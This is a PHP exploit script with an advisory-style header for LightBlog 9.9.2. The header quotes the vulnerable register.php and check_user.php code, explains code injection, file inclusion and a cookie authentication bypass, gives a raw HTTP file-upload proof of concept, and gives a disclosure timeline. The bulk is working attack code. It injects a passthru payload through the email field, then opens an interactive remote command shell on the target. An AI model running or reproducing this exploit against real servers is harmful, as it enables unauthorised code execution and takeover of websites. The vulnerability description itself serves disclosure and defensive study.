<?

/*
 ---------------------------------------------------------------
 LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit
 ---------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://www.publicwarehouse.co.uk/
 demo.....: http://www.bailey-projects.com/projects/1/lightblog/

 This PoC was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 [-] vulnerable code in /register.php

 58.     $username_towrite = stripslashes(htmlspecialchars($_POST['username_post'], ENT_QUOTES));
 59.     $password_towrite = stripslashes(md5(htmlspecialchars($_POST['pwd1_post'], ENT_QUOTES)));
 60.     $name_towrite = stripslashes(htmlspecialchars($_POST['name_post'], ENT_QUOTES));
 61.     $email_towrite = stripslashes(htmlspecialchars($_POST['email_post'], ENT_QUOTES));
 62. 
 63.     $newaccountfile = "./accounts/{$username_towrite}.php";
 64.                         
 65.     $details = "<?php
 66.                 \$password = \"{$password_towrite}\";
 67.                 \$name = \"{$name_towrite}\";
 68.                 \$email = \"{$email_towrite}\";
 69.                 \$type = \"member\";
 70.                 \$location = \"\";
 71.                 \$aboutme = \"\";
 72.                 \$website = \"\";
 73.                 ?>";
 74. 
 75.     $fd = fopen ($newaccountfile, "w");
 76.     chmod($newaccountfile, 0777);
 77.     fwrite ($fd, $details);
 78.     fclose($fd);

 An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved
 with "php" extension. This is possible because input is not properly sanitised, so you can use
 "complex curly syntax", which allows to put complex expressions into string definitions.

 [-] vulnerable code in /check_user.php

 6. if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){
 7. 
 8.     $username_cookie = $_COOKIE['Lightblog_username'];
 9.     $password_cookie = $_COOKIE['Lightblog_password'];
 10. 
 11.     if(file_exists("./accounts/{$username_cookie}.php")){
 12. 
 13.         include("./accounts/{$username_cookie}.php");
 14. 
 15.         if($password_cookie != $password){
 16.            
 17.             setcookie("Lightblog_password", "", time()-9999999);
 18.             setcookie("Lightblog_username", "", time()-9999999);
 19.             echo "<script>location.replace('login.php')</script>";
 20.             exit;
 21. 
 22.         } else {
 23.             $username = $username_cookie;
 24.             $user = true;
 25.         }

 In addition to the LFI (line 13), an attacker could be able to bypass the authentication by
 setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload
 arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:

 POST /lightblog/cp_preview.php HTTP/1.0
 Host: localhost
 Cookie: Lightblog_password=; Lightblog_username=../header
 Content-Length: 166
 Content-Type: multipart/form-data; boundary=o0oOo0o
 Connection: close

 --o0oOo0o
 Content-Disposition: form-data; name="image"; filename="poc.php"

 <?php evil_code(); ?>
 --o0oOo0o--

 [-] Disclosure timeline:
  
 [21/04/2009] - Bug discovered
 [22/04/2009] - Vendor contacted but no response
 [25/04/2009] - Vendor contacted again still no response
 [26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???)
 [27/04/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
   die("\nsocket_create(): " . socket_strerror($s) . "\n");

 if (socket_connect($s, $host, 80) == false)
   die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

 socket_write($s, $packet, strlen($packet));
 while ($m = socket_read($s, 2048)) $response .= $m;

 socket_close($s);
 return $response;
}

print "\n+-------------------------------------------------------------------------+";
print "\n| LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /lightblog/\n\n";
 die();
}

$host = $argv[1];
$path = $argv[2];

$code = rawurlencode('{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}');

$payload = "username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}";
$packet  = "POST {$path}register.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: Lightblog_password=; Lightblog_username=test\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
 print "\nlightblog-shell# ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 $response = http_send($host, sprintf($packet, base64_encode($cmd)));
 preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}

?>